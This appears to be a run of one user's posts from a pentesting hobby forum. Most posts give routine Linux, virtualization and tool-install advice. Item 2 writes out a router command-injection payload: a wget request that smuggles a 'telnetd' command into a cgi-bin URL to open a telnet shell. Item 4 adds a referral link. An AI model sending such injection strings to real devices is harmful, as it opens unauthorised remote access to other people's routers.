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  1. yup, with osx you will eventually have to install kali or another pentesting os to virtualmachine. Even tho a lot of nice tools can be `brew install`ed to mac. So if you go with a linux laptop, sure you can get all tools installed manually, or go with kali linux. However, kali might not be a great day to day OS; so you might end up virtualizing it anyways... (what I've done myself). Also, depending where your interests are, you might also need windows (for e.g IDA) so you might end up playing with virtualization anyways. Yet with a modern laptop the overhea of virtual machine is barely noticeable. Myself I've chosen to use macOS (15" touchbar) and throw in a VMWare kali whenever I feel doing more complicated stuff... So I'd worry more about how I like to hardware and OS I'd be using for next 3-5 years, than just how it's suited for pentesting. Especially if it's going to be a hobby and not a profession; sure it's different if you end up doing it fulltime.
  2. Wrapping it in single quotes might help; now shell considerest the `;` being part of the local shell command, not the wget/curl wget 'http://<ROUTERIP>/cgi-bin/;telnetd$IFS-p$IFS"23"'
  3. I'm using 4.3.3 on nexus 5 and adb works well over usb adb {shell,logcat,push,pull} atleast. Ofc usb debugging needs to be enabled...
  4. https://streamza.com/ Not really a VPN, rather a nice interface to a torrent client :) It downloads torrents in their cloud and lets you download original files from torrent, stream those. They have limited "slots" for downloading torrents - get one extra via my link: https://streamza.com/i/T5gYij8 Hopefully this is not against policies here.... :)
  5. Yep - you need to understand how "stuff" works, before you can exploit it. I ended up studying Computer Science in a rather good university, just because I was interested in security etc... :)
  6. Its been a while since I used Arch linux. Unless its in official repos, you can find it from AUR, like sslstrip: https://aur.archlinux.org/packages/sslstrip/
  7. You must be talking about this: http://www.shodanhq.com/
  8. You need to stop network-manager so it won't interfere with aircrack-ng suite. service stop network-manager[/CODE] should work :)
  9. Could you post result of "fdisk -l" here, it shows all disks and partitions.
  10. You can use open smtp server and sendmail (debian app) or copy/paste small ruby script. Or script with other language :)
  11. You probably have solution in your post - You might want to run `apt-get -f install' to correct these: or apt-get install vlc --fix-missing
  12. Well if you really want to learn to use terminal etc. Arch linux is probably best, but it could be too hard for beginners. Yet you would learn a lot. If you would like to start with a bit easier distro you ciuld use ubuntu. Its probaly most user friendly linux out there :) Although some settings are hard to change in newest ubuntu. I started using linus as my main os whit bt4 (backtrack 4). Its easiest to learn when you need to do something, not just by reading guides. And watching hak5 episodes an following those tutorials will also help you. If your computer can run linux in virtual machine, you could do a lot with it, xause you can accidentally destroy grub bootmanager...
  13. And remember, when you remove partition containing your Xubuntu installation, it will delete all data in there, so have your data somewhere else. And it might be good idea to have all important data backed up, in case you remove wrong partition (windows is on NTFS, and ubuntu on ext4(or 3)
  14. Jamo

    Ics With Ubuntu

    With ubuntus network manager its really easy. Right click that wifi-symbol (nm-applet) then down there Edit connections. Then tab Wired connections, and click "Add" give it a name, and then (tab, where you can set ip, dhcp etc. ) select from drop down menu "Shared to other computers". Then after connecting eth0 or what ever devide you are using :) select that profile from thet wifo-symbol. I wrote it from memory, but thats pretty.much the process. PS. i wrote this with tablet, so sorry for typos.
  15. I just got my usb rubber ducky, and I love it. I was interested in inserting that board in to that rubberduck. Has anyone done that and is it worth it? Thanks Jarmo
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